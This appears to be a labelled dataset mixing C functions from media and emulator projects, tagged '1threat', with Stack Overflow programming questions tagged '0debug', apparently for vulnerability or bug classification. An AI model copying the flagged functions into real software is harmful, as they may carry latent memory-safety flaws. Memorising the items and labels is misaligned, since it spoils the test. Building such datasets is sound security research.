*dst, uint8_t *src, int stride, int h, int ox, int oy, int dxx, int dxy, int dyx, int dyy, int shift, int r, int width, int height){ const int w = 8; const int ix = ox>>(16+shift); const int iy = oy>>(16+shift); const int oxs = ox>>4; const int oys = oy>>4; const int dxxs = dxx>>4; const int dxys = dxy>>4; const int dyxs = dyx>>4; const int dyys = dyy>>4; const uint16_t r4[4] = {r,r,r,r}; const uint16_t dxy4[4] = {dxys,dxys,dxys,dxys}; const uint16_t dyy4[4] = {dyys,dyys,dyys,dyys}; const uint64_t shift2 = 2*shift; uint8_t edge_buf[(h+1)*stride]; int x, y; const int dxw = (dxx-(1<<(16+shift)))*(w-1); const int dyh = (dyy-(1<<(16+shift)))*(h-1); const int dxh = dxy*(h-1); const int dyw = dyx*(w-1); if( ((ox^(ox+dxw)) | (ox^(ox+dxh)) | (ox^(ox+dxw+dxh)) | (oy^(oy+dyw)) | (oy^(oy+dyh)) | (oy^(oy+dyw+dyh))) >> (16+shift) || (dxx|dxy|dyx|dyy)&15 ) { ff_gmc_c(dst, src, stride, h, ox, oy, dxx, dxy, dyx, dyy, shift, r, width, height); return; } src += ix + iy*stride; if( (unsigned)ix >= width-w || (unsigned)iy >= height-h ) { ff_emulated_edge_mc(edge_buf, src, stride, w+1, h+1, ix, iy, width, height); src = edge_buf; } asm volatile( "movd %0, %%mm6 \n\t" "pxor %%mm7, %%mm7 \n\t" "punpcklwd %%mm6, %%mm6 \n\t" "punpcklwd %%mm6, %%mm6 \n\t" :: "r"(1<<shift) ); for(x=0; x<w; x+=4){ uint16_t dx4[4] = { oxs - dxys + dxxs*(x+0), oxs - dxys + dxxs*(x+1), oxs - dxys + dxxs*(x+2), oxs - dxys + dxxs*(x+3) }; uint16_t dy4[4] = { oys - dyys + dyxs*(x+0), oys - dyys + dyxs*(x+1), oys - dyys + dyxs*(x+2), oys - dyys + dyxs*(x+3) }; for(y=0; y<h; y++){ asm volatile( "movq %0, %%mm4 \n\t" "movq %1, %%mm5 \n\t" "paddw %2, %%mm4 \n\t" "paddw %3, %%mm5 \n\t" "movq %%mm4, %0 \n\t" "movq %%mm5, %1 \n\t" "psrlw $12, %%mm4 \n\t" "psrlw $12, %%mm5 \n\t" : "+m"(*dx4), "+m"(*dy4) : "m"(*dxy4), "m"(*dyy4) ); asm volatile( "movq %%mm6, %%mm2 \n\t" "movq %%mm6, %%mm1 \n\t" "psubw %%mm4, %%mm2 \n\t" "psubw %%mm5, %%mm1 \n\t" "movq %%mm2, %%mm0 \n\t" "movq %%mm4, %%mm3 \n\t" "pmullw %%mm1, %%mm0 \n\t" "pmullw %%mm5, %%mm3 \n\t" "pmullw %%mm5, %%mm2 \n\t" "pmullw %%mm4, %%mm1 \n\t" "movd %4, %%mm5 \n\t" "movd %3, %%mm4 \n\t" "punpcklbw %%mm7, %%mm5 \n\t" "punpcklbw %%mm7, %%mm4 \n\t" "pmullw %%mm5, %%mm3 \n\t" "pmullw %%mm4, %%mm2 \n\t" "movd %2, %%mm5 \n\t" "movd %1, %%mm4 \n\t" "punpcklbw %%mm7, %%mm5 \n\t" "punpcklbw %%mm7, %%mm4 \n\t" "pmullw %%mm5, %%mm1 \n\t" "pmullw %%mm4, %%mm0 \n\t" "paddw %5, %%mm1 \n\t" "paddw %%mm3, %%mm2 \n\t" "paddw %%mm1, %%mm0 \n\t" "paddw %%mm2, %%mm0 \n\t" "psrlw %6, %%mm0 \n\t" "packuswb %%mm0, %%mm0 \n\t" "movd %%mm0, %0 \n\t" : "=m"(dst[x+y*stride]) : "m"(src[0]), "m"(src[1]), "m"(src[stride]), "m"(src[stride+1]), "m"(*r4), "m"(shift2) ); src += stride; } src += 4-h*stride; } }
1threat
uint32_t lduw_phys(target_phys_addr_t addr) { return lduw_phys_internal(addr, DEVICE_NATIVE_ENDIAN); }
1threat
How do I avoid 'Function components cannot be given refs' when using react-router-dom? : <p>I have the following (using Material UI)....</p> <pre><code>import React from "react"; import { NavLink } from "react-router-dom"; import Tabs from "@material-ui/core/Tabs"; import Tab from "@material-ui/core/Tab"; function LinkTab(link){ return &lt;Tab component={NavLink} to={link.link} label={link.label} value={link.link} key={link.link} /&gt;; } </code></pre> <p>In the new versions this causes the following warning...</p> <blockquote> <p>Warning: Function components cannot be given refs. Attempts to access this ref will fail. Did you mean to use React.forwardRef()?</p> <p>Check the render method of <code>ForwardRef</code>. in NavLink (created by ForwardRef)</p> </blockquote> <p>I tried changing to...</p> <pre><code>function LinkTab(link){ // See https://material-ui.com/guides/composition/#caveat-with-refs const MyLink = React.forwardRef((props, ref) =&gt; &lt;NavLink {...props} ref={ref} /&gt;); return &lt;Tab component={MyLink} to={link.link} label={link.label} value={link.link} key={link.link} /&gt;; } </code></pre> <p>But I still get the warning. How do I resolve this issue?</p>
0debug
I2CAdapter *omap_i2c_create(uint64_t addr) { OMAPI2C *s = g_malloc0(sizeof(*s)); I2CAdapter *i2c = (I2CAdapter *)s; uint16_t data; s->addr = addr; i2c->send = omap_i2c_send; i2c->recv = omap_i2c_recv; memread(addr + OMAP_I2C_REV, &data, 2); g_assert_cmphex(data, ==, 0x34); return i2c; }
1threat
Maven profiles equivalent of Gradle : <p>I'm trying to achieve a simple scenario in my spring boot project build: including / excluding dependencies and packaging war or jar depending on the environment. </p> <p>So for example, for the environment <code>dev</code> include devtools and package jar, for <code>prod</code> package war etc.</p> <p>I know it is not XML based configuration anymore and I can basically write if statements in my build.gradle but is there a recommended way of achieving this?</p> <p>Can I declare some common dependencies and refer them in a single file instead of creating multiple build files?</p> <p>Is there a best practice changing build configuration based on the build target environment?</p>
0debug
what are non synchronized classes? how collections are non sychronized classes? : <p>Array list and link list both are non synchronized classes what exactly means it? is it mean that multiple threads cannot access the same array list or link list on the same time? </p>
0debug
Identifying why some images won't load after publishing to web. HTML & CSS : Okay, my website is like 95% there. And I'm absolutely stumped as to why I can't see them. Everything works on it except that three images won't display after publishing through my cPanel. The files that won't load are Layer4.png, Layer3.png, Layer2.png All the naming is correct between image and css url reference. The images are not corrupt or damaged, I checked. Everything is in the right directory. The code is the same for each layer, only file names are unique. There's a bit of java script that creates a parallax between each layer, but I don't think that would matter since only three layers are affected but use the same code. Any ways to troubleshoot this? .layer-0 { top: 40px; z-index: 5; background:-webkit-linear-gradient(#f90, #FC0); } .layer-1 { top: 100px; z-index: 5; background-image: url("images/Layer4.png"); background-position: bottom center fixed; background-size:100%; } .layer-2 { top: 100px; z-index: 10; background-image: url("images/Layer3.png"); background-position: bottom center fixed; background-size:100%; } .layer-3 { top: 100px; z-index: 15; background-image: url("images/Layer2.png"); background-position: bottom center fixed; background-size:100%; } .layer-4 { top: 90px; z-index: 20; background-image: url("images/Layer1.png"); background-position: bottom center fixed; background-size:100%; } .layer-5 { top:105px; z-index: 25; background-image: url("images/Layer0.png"); background-position: bottom center fixed; background-size:100%;
0debug
MATLAB: How to determine connectivity among elements? : <p>I am trying to determine how some elements are connected between one another by undestanding if they have a common coordinate. I wrote the following code, but it is incorrect.</p> <pre><code> clc clear lines = {[0 0 0; 0 0 3], [0 0 3; 1 2 2], [0 0 0; 1 2 2], [5 3 3; 0 0 0], [1 2 2; 5 2 3]} connectivity = [] i = 1 for i = 1:length(lines)-1 [Result,LocResult] = ismember(lines{i},lines{i+1},'rows') if nonzeros(Result) == 1 A = [i,i+1] connectivity = [connectivity; A] i = i + 1 end end </code></pre>
0debug
Function hiding and using-declaration in C++ : <p>My confusion comes from "C++ Primer 5th edition" section 13.3, page 518.</p> <blockquote> <p>Very careful readers may wonder why the <code>using</code> declaration inside <code>swap</code> does not hide the declarations for the <code>HasPtr</code> version of <code>swap</code>.</p> </blockquote> <p>I tried to read its reference but still did not understand why. Could anyone explain it a little bit please? Thanks. Here is the code sample of the question.</p> <p>Assume class <code>Foo</code> has a member named <code>h</code>, which has type <code>HasPtr</code>.</p> <pre><code>void swap(HasPtr &amp;lhs, HasPtr &amp;rhs) {...} void swap(Foo &amp;lhs, Foo &amp;rhs) { using std::swap; swap(lhs.h, rhs.h); } </code></pre> <p>Why <code>swap</code> for <code>HasPtr</code> is not hidden which seems to be declared in outer scope while <code>using std::swap</code> is in the inner scope? Thanks.</p>
0debug
static void v9fs_fsync(void *opaque) { int err; int32_t fid; int datasync; size_t offset = 7; V9fsFidState *fidp; V9fsPDU *pdu = opaque; V9fsState *s = pdu->s; pdu_unmarshal(pdu, offset, "dd", &fid, &datasync); fidp = get_fid(pdu, fid); if (fidp == NULL) { err = -ENOENT; goto out_nofid; } err = v9fs_co_fsync(pdu, fidp, datasync); if (!err) { err = offset; } put_fid(pdu, fidp); out_nofid: complete_pdu(s, pdu, err); }
1threat
How can I add a style tag in the header with jade/pug? : <p>I want something like this:</p> <pre><code>html head style(type="text/css") table { width: 100% } body table </code></pre> <p>But can't find the right incantation. This results in an "unexpected text" error. I tried escaping the css with a |, to no avail; and the best I've achieved so far is getting a table tag rendered in the header :(</p> <p>Is it possible to do this with jade/pug?</p>
0debug
Is there a way to attach new Android Profiler to debug app process directly after build? : <p>Attaching Android Studio 3.0 Android Profiler to debug app from cold start is almost impossible, because I'd have to select process from dropdown (and start record) in very short timespan.</p> <p>For profiling app cold start, is there a more convenient way?</p> <p>Selecting "debug app" in android Developer Settings does not help unfortunately.</p>
0debug
How can we open my website only chrome browser? Shoul not open in firefox,uc browser etc : I want that my website only open in chrome browser. It should not open any other browser like uc browser ,firefox etc.
0debug
Could not find any version that matches com.google.android.gms:play-services-base:[15.0.1,16.0.0) : <p>I am using firebase for my android app and suddenly I am getting an error when I tried to run the app. Saturday it was working perfectly. I don't know how this error occurred and how to solve this. Please help me. </p> <p>dependencies in my build.gradle </p> <pre><code>dependencies { compile('com.crashlytics.sdk.android:crashlytics:2.5.2@aar') { transitive = true; } compile 'com.android.volley:volley:1.0.0' compile 'com.android.support:appcompat-v7:23.4.0' compile 'com.android.support:cardview-v7:23.4.0' compile 'com.facebook.android:facebook-android-sdk:4.1.0' compile 'com.google.code.gson:gson:2.8.4' compile 'com.android.support:multidex:1.0.3' compile 'com.microsoft.azure:azure-mobile-android:3.1.0' compile 'com.mixpanel.android:mixpanel-android:4.8.0' compile 'com.firebase:firebase-client-android:2.4.0' compile 'com.google.firebase:firebase-core:16.0.0' compile 'com.google.firebase:firebase-auth:16.0.1' compile 'com.android.support:support-v4:23.4.0' compile 'com.android.support:design:23.4.0' compile 'com.j256.ormlite:ormlite-android:4.48' compile 'com.j256.ormlite:ormlite-core:4.48' compile 'com.android.support:recyclerview-v7:23.4.0' compile 'com.github.tibolte:elasticdownload:1.0.+' compile 'me.dm7.barcodescanner:zxing:1.8.4' compile 'com.google.android.gms:play-services-vision:15.0.2' compile 'com.android.support.constraint:constraint-layout:1.1.1' compile 'com.github.amlcurran.showcaseview:library:5.4.3' compile 'com.wang.avi:library:2.1.3' testCompile 'junit:junit:4.12' androidTestCompile 'com.jayway.android.robotium:robotium-solo:5.6.0' androidTestCompile 'com.android.support.test:rules:1.0.2' } apply plugin: 'com.google.gms.google-services' </code></pre> <p>In my project level build.gradle:</p> <pre><code>dependencies { classpath 'com.android.tools.build:gradle:2.2.2' classpath 'com.google.gms:google-services:4.0.0' } </code></pre> <p>The Error I am getting: </p> <blockquote> <p>Could not find any version that matches com.google.android.gms:play-services-base:[15.0.1,16.0.0).</p> </blockquote>
0debug
Why C doesn't allow implicit conversion from char ** to const char *const * (and C++ does)? : <p>I know implicit conversion from <code>char **</code> to <code>const char **</code> cannot be done and why, and that the conversion to <code>char *const *</code> works. See bottom for links to explanation on that.</p> <p>It all makes sense apart from one particular thing. So I have the following code:</p> <pre><code>#include &lt;stdio.h&gt; void print(const char *const*param) { printf("%s\n", param[0]); } int main(int argc, char **argv) { print(argv); return 0; } </code></pre> <p>If I compile this as a C++ code, it compiles quite fine. However, if the same code is compiled as a C code only, I get an error (well, a warning, but let's suppose <code>-Werror</code>, i.e. treat warnings as errors).</p> <p>gcc:</p> <pre><code>test.c: In function ‘main’: test.c:12:11: warning: passing argument 1 of ‘print’ from incompatible pointer type [-Wincompatible-pointer-types] print(argv); ^ test.c:4:1: note: expected ‘const char * const*’ but argument is of type ‘char **’ print(const char *const*param) ^ </code></pre> <p>clang:</p> <pre><code>test.c:12:11: warning: passing 'char **' to parameter of type 'const char *const *' discards qualifiers in nested pointer types [-Wincompatible-pointer-types-discards-qualifiers] print(argv); ^~~~ test.c:4:25: note: passing argument to parameter 'param' here print(const char *const*param) ^ </code></pre> <p>Both behaviours are standard-independent and also compiler-independent. I tried various standards with both <code>gcc</code> and <code>clang</code>.</p> <p>There are two reasons for this inquiry. Firstly, I want to understand whether there is a difference and, secondly, I have a function that does nothing with any layer of the pointers and I need it to be able to work with <code>const char **</code> as well as <code>char *const *</code> and <code>char **</code>. Explicitly casting each call is not maintainable. And I have no idea how should the function prototype look like.</p> <hr> <p>This is the question that started my curiosity: <a href="https://stackoverflow.com/questions/7016098/implicit-conversion-from-char-to-const-char">Implicit conversion from char** to const char**</a></p> <p>And here is another nice explanation for the <code>char ** =&gt; const char**</code> problem: <a href="http://c-faq.com/ansi/constmismatch.html">http://c-faq.com/ansi/constmismatch.html</a></p> <p>If the links are confusing related to this question, feel free to edit them out.</p>
0debug
Invalid value 'armeabi' in $(AndroidSupportedAbis). This ABI is no longer supported. Xamarin.Forms - VS2019 : <p>I have a Mobile App built with Xamarin.Forms<br> when I am trying to upgrade my project from VS2017 to VS2019</p> <p>I get this error in <strong>Android Project</strong></p> <blockquote> <p>Invalid value 'armeabi' in $(AndroidSupportedAbis). This ABI is no longer supported. Please update your project properties </p> </blockquote> <p>I tried to delete <strong>bin</strong> and <strong>obj</strong> folders to force the project to rebuild everything, but the error still appears</p> <p><strong>Can I get an explanation about the error above and how to solve it?</strong></p> <p>Note: <strong>the error doesn't appear in VS2017</strong></p>
0debug
Javascript Regex Selector : I need some help with my javascript regex I need a way to select the following: ${user.name} ${user.age} from the following html: <!-- language: lang-html --> <tr> <td>${user.name}</td> <td>${user.age}</td> </tr> There could be multiple <td> with different values in them and the 'user' part of the string is not always going to be user. it could be anything. Ideally i would like them back as an array, although at the moment i'll settle for anything. Thanks in advance, Tom
0debug
vector allocation error subscript to pointer to incomplete type : <p>i have my product</p> <pre><code>typedef struct proditem *prodItem; </code></pre> <p>and i have a symbol table of products</p> <pre><code>typedef struct tabp *tabP; struct tabp { prodItem vettP; int nP; }; </code></pre> <p>i need to allocate in memory, then :</p> <pre><code>tab-&gt;nP = max; // quantity of products tab-&gt;vettP = malloc(max * sizeof(*prodItem)); </code></pre> <p>but if a try to use the vector tab->vettP have the error:</p> <p><code>tab-&gt;vettP[i]</code> &lt;&lt;-- subscript to pointer to incomplete type</p> <p>can anyone help me?</p>
0debug
Is JSF still relevant with Microprofile : <p>Still lost in the world of Microservices. Is JSF still relevant with Microprofile and how can we migrate the UI part of a monolith application to Microservices when the same view should get data from many Microservices.</p>
0debug
why such a simple program like this is not getting compiled in Python : <p>I am a bit new to python and </p> <pre><code> import serial import time ser = serial.Serial('COM3', 9600, timeout=0) while 1: try: print ser.readline() time.sleep(1) except ser.SerialTimeoutException: print('Data could not be read') time.sleep(1) </code></pre> <p>I installed pyserial. Why such a simple program like this is giving "invalid syntax" error at the line ser.readline(). Why has been python designed like this that it always makes beginners life difficult. Even here at stackoverflow why syntaxing code is so difficult? everyline has to be indented here.Why cant a simple <code></code> do the job here.Well this is all together a different topic but why such a simple python program is creating errors????? </p>
0debug
function keep return 0 when am call it inside author function : everyone, I have this function to compare to list in javaScript function listCompare(list1, list2) { let result = 0; let final = (list1.length + list2.length) / 2; for (let x of list1) { for (let y of list2) { if (x == y) { result += 1; } } } return result / final * 100; }; its work just fine alone but when call it inside another function it return only zero i don know why this is the full code function listCompare(list1, list2) { let result = 0; let final = (list1.length + list2.length) / 2; for (let x of list1) { for (let y of list2) { if (x == y) { result += 1; } } } return result / final * 100; }; $('#id_password').change(function() { // console.log('changed') ls1 = time ls2 = ob var result = listCompare(ls1, ls2) console.log(result) if (result >= 70) { $(':button[type="submit"]').prop('disabled', false); } }); note: I have two list one of them is time the author on is ob the function shode return the degree of matching between the two list and five to me
0debug
static void cd_read_sector_cb(void *opaque, int ret) { IDEState *s = opaque; block_acct_done(blk_get_stats(s->blk), &s->acct); #ifdef DEBUG_IDE_ATAPI printf("cd_read_sector_cb: lba=%d ret=%d\n", s->lba, ret); #endif if (ret < 0) { ide_atapi_io_error(s, ret); return; } if (s->cd_sector_size == 2352) { cd_data_to_raw(s->io_buffer, s->lba); } s->lba++; s->io_buffer_index = 0; s->status &= ~BUSY_STAT; ide_atapi_cmd_reply_end(s); }
1threat
static int dump_iterate(DumpState *s) { RAMBlock *block; int64_t size; int ret; while (1) { block = s->block; size = block->length; if (s->has_filter) { size -= s->start; if (s->begin + s->length < block->offset + block->length) { size -= block->offset + block->length - (s->begin + s->length); } } ret = write_memory(s, block, s->start, size); if (ret == -1) { return ret; } ret = get_next_block(s, block); if (ret == 1) { dump_completed(s); return 0; } } }
1threat
What is the difference between the 2 structs? : are these different or do the produce the same result? struct command { char * const *argv; }; nr 2 which also looks like a pointer to a pointer struct command { const char **argv; }; Is there a difference or are both pointer to a pointer?
0debug
How can I find all public comments for a Github user? : <p>Until recently I was able to find all my public comments using a link on my profile page. I was using this functionality to keep track of all issues where I have commented, but not contributed anything. It was under a section called "Public Activity".</p> <p>This function seems to have been removed. I can not find anything about it on the <a href="https://help.github.com/categories/setting-up-and-managing-your-github-profile/" rel="noreferrer">help page about profiles</a>.</p> <p>Does anybody have any information on when and why this was removed?</p>
0debug
Python if/Else Statement - Moving Files and continuing if file does not exist : I am using python to move DBF files from one folder to multiple folders. These come to me from an S3 bucket and I unzip and move. Sometimes there will be a missing DBF. If that happens I am trying to code so that if the file is not there the script moves to the next file. I figure this would be an if/else statement but I am having trouble with the else part. Any suggests import arcpy, os from arcpy import env env.workspace = "E:\staging\DT_TABLES" ######Move Clackamas Pro41005.dbf###### in_data = "Pro41005.dbf" out_data = "D:/DATATRACE/OREGON/OR_TRI COUNTY/Pro41005.dbf" data_type = "" if in_data == "Pro41005.dbf": arcpy.Delete_management(out_data) arcpy.Copy_management(in_data, out_data, data_type) print 'Clackamas Moved' else : ######Move Multnomah Pro41051.dbf###### in_data = "Pro41051.dbf" out_data = "D:/DATATRACE/OREGON/OR_TRI COUNTY/Pro41051.dbf" data_type = "" arcpy.Delete_management(out_data) arcpy.Copy_management(in_data, out_data, data_type) print 'Multnomah Moved' In other words, if "Pro41005.dbf" was not in the zipped file I like the script to continue to "Pro41051.dbf" This is two of eight files that I am moving. In time there will be about 20 files. I am new at coding so please bare with me.
0debug
static int ftp_open(URLContext *h, const char *url, int flags) { char proto[10], path[MAX_URL_SIZE]; int err; FTPContext *s = h->priv_data; av_dlog(h, "ftp protocol open\n"); s->state = DISCONNECTED; s->filesize = -1; s->position = 0; av_url_split(proto, sizeof(proto), s->credencials, sizeof(s->credencials), s->hostname, sizeof(s->hostname), &s->server_control_port, path, sizeof(path), url); if (s->server_control_port < 0 || s->server_control_port > 65535) s->server_control_port = 21; if ((err = ftp_connect_control_connection(h)) < 0) goto fail; if ((err = ftp_current_dir(s)) < 0) goto fail; av_strlcat(s->path, path, sizeof(s->path)); if (ftp_restart(s, 0) < 0) { h->is_streamed = 1; } else { if (ftp_file_size(s) < 0 && flags & AVIO_FLAG_READ) h->is_streamed = 1; if (s->write_seekable != 1 && flags & AVIO_FLAG_WRITE) h->is_streamed = 1; } return 0; fail: av_log(h, AV_LOG_ERROR, "FTP open failed\n"); ffurl_closep(&s->conn_control); ffurl_closep(&s->conn_data); return err; }
1threat
static sd_rsp_type_t sd_normal_command(SDState *sd, SDRequest req) { uint32_t rca = 0x0000; uint64_t addr = (sd->ocr & (1 << 30)) ? (uint64_t) req.arg << 9 : req.arg; if (sd_cmd_type[req.cmd] == sd_ac || sd_cmd_type[req.cmd] == sd_adtc) rca = req.arg >> 16; DPRINTF("CMD%d 0x%08x state %d\n", req.cmd, req.arg, sd->state); switch (req.cmd) { case 0: switch (sd->state) { case sd_inactive_state: return sd->spi ? sd_r1 : sd_r0; default: sd->state = sd_idle_state; sd_reset(sd, sd->bdrv); return sd->spi ? sd_r1 : sd_r0; } break; case 1: if (!sd->spi) goto bad_cmd; sd->state = sd_transfer_state; return sd_r1; case 2: if (sd->spi) goto bad_cmd; switch (sd->state) { case sd_ready_state: sd->state = sd_identification_state; return sd_r2_i; default: break; } break; case 3: if (sd->spi) goto bad_cmd; switch (sd->state) { case sd_identification_state: case sd_standby_state: sd->state = sd_standby_state; sd_set_rca(sd); return sd_r6; default: break; } break; case 4: if (sd->spi) goto bad_cmd; switch (sd->state) { case sd_standby_state: break; default: break; } break; case 5: case 6: if (sd->spi) goto bad_cmd; switch (sd->mode) { case sd_data_transfer_mode: sd_function_switch(sd, req.arg); sd->state = sd_sendingdata_state; sd->data_start = 0; sd->data_offset = 0; return sd_r1; default: break; } break; case 7: if (sd->spi) goto bad_cmd; switch (sd->state) { case sd_standby_state: if (sd->rca != rca) sd->state = sd_transfer_state; return sd_r1b; case sd_transfer_state: case sd_sendingdata_state: if (sd->rca == rca) break; sd->state = sd_standby_state; return sd_r1b; case sd_disconnect_state: if (sd->rca != rca) sd->state = sd_programming_state; return sd_r1b; case sd_programming_state: if (sd->rca == rca) break; sd->state = sd_disconnect_state; return sd_r1b; default: break; } break; case 8: switch (sd->state) { case sd_idle_state: sd->vhs = 0; if (!(req.arg >> 8) || (req.arg >> ffs(req.arg & ~0xff))) return sd->spi ? sd_r7 : sd_r0; sd->vhs = req.arg; return sd_r7; default: break; } break; case 9: switch (sd->state) { case sd_standby_state: if (sd->rca != rca) return sd_r2_s; case sd_transfer_state: if (!sd->spi) break; sd->state = sd_sendingdata_state; memcpy(sd->data, sd->csd, 16); sd->data_start = addr; sd->data_offset = 0; return sd_r1; default: break; } break; case 10: switch (sd->state) { case sd_standby_state: if (sd->rca != rca) return sd_r2_i; case sd_transfer_state: if (!sd->spi) break; sd->state = sd_sendingdata_state; memcpy(sd->data, sd->cid, 16); sd->data_start = addr; sd->data_offset = 0; return sd_r1; default: break; } break; case 11: if (sd->spi) goto bad_cmd; switch (sd->state) { case sd_transfer_state: sd->state = sd_sendingdata_state; sd->data_start = req.arg; sd->data_offset = 0; if (sd->data_start + sd->blk_len > sd->size) sd->card_status |= ADDRESS_ERROR; default: break; } break; case 12: switch (sd->state) { case sd_sendingdata_state: sd->state = sd_transfer_state; return sd_r1b; case sd_receivingdata_state: sd->state = sd_programming_state; sd->state = sd_transfer_state; return sd_r1b; default: break; } break; case 13: switch (sd->mode) { case sd_data_transfer_mode: if (sd->rca != rca) return sd_r1; default: break; } break; case 15: if (sd->spi) goto bad_cmd; switch (sd->mode) { case sd_data_transfer_mode: if (sd->rca != rca) sd->state = sd_inactive_state; default: break; } break; case 16: switch (sd->state) { case sd_transfer_state: if (req.arg > (1 << HWBLOCK_SHIFT)) sd->card_status |= BLOCK_LEN_ERROR; else sd->blk_len = req.arg; return sd_r1; default: break; } break; case 17: switch (sd->state) { case sd_transfer_state: sd->state = sd_sendingdata_state; sd->data_start = addr; sd->data_offset = 0; if (sd->data_start + sd->blk_len > sd->size) sd->card_status |= ADDRESS_ERROR; return sd_r1; default: break; } break; case 18: switch (sd->state) { case sd_transfer_state: sd->state = sd_sendingdata_state; sd->data_start = addr; sd->data_offset = 0; if (sd->data_start + sd->blk_len > sd->size) sd->card_status |= ADDRESS_ERROR; return sd_r1; default: break; } break; case 24: if (sd->spi) goto unimplemented_cmd; switch (sd->state) { case sd_transfer_state: if (sd->spi) break; sd->state = sd_receivingdata_state; sd->data_start = addr; sd->data_offset = 0; sd->blk_written = 0; if (sd->data_start + sd->blk_len > sd->size) sd->card_status |= ADDRESS_ERROR; if (sd_wp_addr(sd, sd->data_start)) sd->card_status |= WP_VIOLATION; if (sd->csd[14] & 0x30) sd->card_status |= WP_VIOLATION; return sd_r1; default: break; } break; case 25: if (sd->spi) goto unimplemented_cmd; switch (sd->state) { case sd_transfer_state: if (sd->spi) break; sd->state = sd_receivingdata_state; sd->data_start = addr; sd->data_offset = 0; sd->blk_written = 0; if (sd->data_start + sd->blk_len > sd->size) sd->card_status |= ADDRESS_ERROR; if (sd_wp_addr(sd, sd->data_start)) sd->card_status |= WP_VIOLATION; if (sd->csd[14] & 0x30) sd->card_status |= WP_VIOLATION; return sd_r1; default: break; } break; case 26: if (sd->spi) goto bad_cmd; switch (sd->state) { case sd_transfer_state: sd->state = sd_receivingdata_state; sd->data_start = 0; sd->data_offset = 0; return sd_r1; default: break; } break; case 27: if (sd->spi) goto unimplemented_cmd; switch (sd->state) { case sd_transfer_state: sd->state = sd_receivingdata_state; sd->data_start = 0; sd->data_offset = 0; return sd_r1; default: break; } break; case 28: switch (sd->state) { case sd_transfer_state: if (addr >= sd->size) { sd->card_status = ADDRESS_ERROR; return sd_r1b; } sd->state = sd_programming_state; sd->wp_groups[addr >> (HWBLOCK_SHIFT + SECTOR_SHIFT + WPGROUP_SHIFT)] = 1; sd->state = sd_transfer_state; return sd_r1b; default: break; } break; case 29: switch (sd->state) { case sd_transfer_state: if (addr >= sd->size) { sd->card_status = ADDRESS_ERROR; return sd_r1b; } sd->state = sd_programming_state; sd->wp_groups[addr >> (HWBLOCK_SHIFT + SECTOR_SHIFT + WPGROUP_SHIFT)] = 0; sd->state = sd_transfer_state; return sd_r1b; default: break; } break; case 30: switch (sd->state) { case sd_transfer_state: sd->state = sd_sendingdata_state; *(uint32_t *) sd->data = sd_wpbits(sd, req.arg); sd->data_start = addr; sd->data_offset = 0; return sd_r1b; default: break; } break; case 32: switch (sd->state) { case sd_transfer_state: sd->erase_start = req.arg; return sd_r1; default: break; } break; case 33: switch (sd->state) { case sd_transfer_state: sd->erase_end = req.arg; return sd_r1; default: break; } break; case 38: switch (sd->state) { case sd_transfer_state: if (sd->csd[14] & 0x30) { sd->card_status |= WP_VIOLATION; return sd_r1b; } sd->state = sd_programming_state; sd_erase(sd); sd->state = sd_transfer_state; return sd_r1b; default: break; } break; case 42: if (sd->spi) goto unimplemented_cmd; switch (sd->state) { case sd_transfer_state: sd->state = sd_receivingdata_state; sd->data_start = 0; sd->data_offset = 0; return sd_r1; default: break; } break; case 55: if (sd->rca != rca) sd->card_status |= APP_CMD; return sd_r1; case 56: fprintf(stderr, "SD: GEN_CMD 0x%08x\n", req.arg); switch (sd->state) { case sd_transfer_state: sd->data_offset = 0; if (req.arg & 1) sd->state = sd_sendingdata_state; else sd->state = sd_receivingdata_state; return sd_r1; default: break; } break; default: bad_cmd: fprintf(stderr, "SD: Unknown CMD%i\n", req.cmd); unimplemented_cmd: fprintf(stderr, "SD: CMD%i not implemented in SPI mode\n", req.cmd); } fprintf(stderr, "SD: CMD%i in a wrong state\n", req.cmd); }
1threat
How to modify EXIF data in python : <p>I am trying to edit/modify existing metadata within python 2.7. More specifically I have GPS coordinates in a my metedata, however the altitude field is incorrect. Is there a way of changing this?</p> <p>I have had a look at <code>PIL</code> <code>piexif</code> <code>pyexif</code>, but I cannot seem to find a way to modify existing fields.</p> <p>Has anyone managed to do this? It sounds like it would be very simple, but I can't seem to work it out.</p> <p>Cheers Dave</p>
0debug
static av_cold int opus_decode_init(AVCodecContext *avctx) { OpusContext *c = avctx->priv_data; int ret, i, j; avctx->sample_fmt = AV_SAMPLE_FMT_FLTP; avctx->sample_rate = 48000; c->fdsp = avpriv_float_dsp_alloc(0); if (!c->fdsp) return AVERROR(ENOMEM); ret = ff_opus_parse_extradata(avctx, c); if (ret < 0) return ret; c->streams = av_mallocz_array(c->nb_streams, sizeof(*c->streams)); c->out = av_mallocz_array(c->nb_streams, 2 * sizeof(*c->out)); c->out_size = av_mallocz_array(c->nb_streams, sizeof(*c->out_size)); c->sync_buffers = av_mallocz_array(c->nb_streams, sizeof(*c->sync_buffers)); c->decoded_samples = av_mallocz_array(c->nb_streams, sizeof(*c->decoded_samples)); if (!c->streams || !c->sync_buffers || !c->decoded_samples || !c->out || !c->out_size) { c->nb_streams = 0; ret = AVERROR(ENOMEM); goto fail; } for (i = 0; i < c->nb_streams; i++) { OpusStreamContext *s = &c->streams[i]; uint64_t layout; s->output_channels = (i < c->nb_stereo_streams) ? 2 : 1; s->avctx = avctx; for (j = 0; j < s->output_channels; j++) { s->silk_output[j] = s->silk_buf[j]; s->celt_output[j] = s->celt_buf[j]; s->redundancy_output[j] = s->redundancy_buf[j]; } s->fdsp = c->fdsp; s->swr =swr_alloc(); if (!s->swr) goto fail; layout = (s->output_channels == 1) ? AV_CH_LAYOUT_MONO : AV_CH_LAYOUT_STEREO; av_opt_set_int(s->swr, "in_sample_fmt", avctx->sample_fmt, 0); av_opt_set_int(s->swr, "out_sample_fmt", avctx->sample_fmt, 0); av_opt_set_int(s->swr, "in_channel_layout", layout, 0); av_opt_set_int(s->swr, "out_channel_layout", layout, 0); av_opt_set_int(s->swr, "out_sample_rate", avctx->sample_rate, 0); av_opt_set_int(s->swr, "filter_size", 16, 0); ret = ff_silk_init(avctx, &s->silk, s->output_channels); if (ret < 0) goto fail; ret = ff_celt_init(avctx, &s->celt, s->output_channels); if (ret < 0) goto fail; s->celt_delay = av_audio_fifo_alloc(avctx->sample_fmt, s->output_channels, 1024); if (!s->celt_delay) { ret = AVERROR(ENOMEM); goto fail; } c->sync_buffers[i] = av_audio_fifo_alloc(avctx->sample_fmt, s->output_channels, 32); if (!c->sync_buffers[i]) { ret = AVERROR(ENOMEM); goto fail; } } return 0; fail: opus_decode_close(avctx); return ret; }
1threat
